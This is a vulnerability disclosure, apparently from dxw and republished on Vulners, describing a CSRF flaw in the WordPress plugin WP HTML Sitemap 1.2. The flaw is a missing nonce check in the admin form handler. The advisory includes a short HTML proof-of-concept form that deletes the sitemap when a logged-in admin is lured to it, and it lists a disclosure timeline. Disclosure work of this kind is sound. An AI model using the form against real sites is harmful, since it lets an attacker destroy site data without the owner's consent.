WordPress HTML Sitemap 1.2 Cross Site Request Forgery
`Details
================
Software: WP HTML Sitemap
Version: 1.2
Homepage: http://wordpress.org/plugins/wp-html-sitemap/
CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N)
Description
================
CSRF vulnerability in WP HTML Sitemap 1.2
Vulnerability
================
A CSRF vulnerability exists which allows an attacker to delete the
sitemap if a logged-in admin user visits a link of the attackers choosing.
Line 202 of inc/AdminPage.php says // check whether form was just
submitted but the following if/elseif statements only check whether a
particular button was pressed without checking nonce values. The form in
question is printed in wp_html_sitemap_AdminPage::createSitemapForm()
around line 146 of the same file.
Proof of concept
================
This form deletes the sitemap without requiring a nonce value:
<form
action="http://not-a-real-site.local/wp-admin/options-general.php?page=wp-html-sitemap&tab=general"
method="POST">
<input type="text" name="deleteSitemap" value="Delete Sitemap">
<input type="submit">
</form>
Mitigations
================
Disable the plugin until a fix is available.
Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our
disclosure policy: https://security.dxw.com/disclosure/
Please contact us on [email protected] to acknowledge this report if you
received it via a third party (for example, [email protected]) as
they generally cannot communicate with us on your behalf.
Please note that this vulnerability will be published if we do not
receive a response to this report with 14 days.
Timeline
================
2014-02-21: Discovered
2014-02-26: Reported
2014-03-28: No response received. Published
Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Mar 2014 00:00Current
7High risk
Vulners AI Score7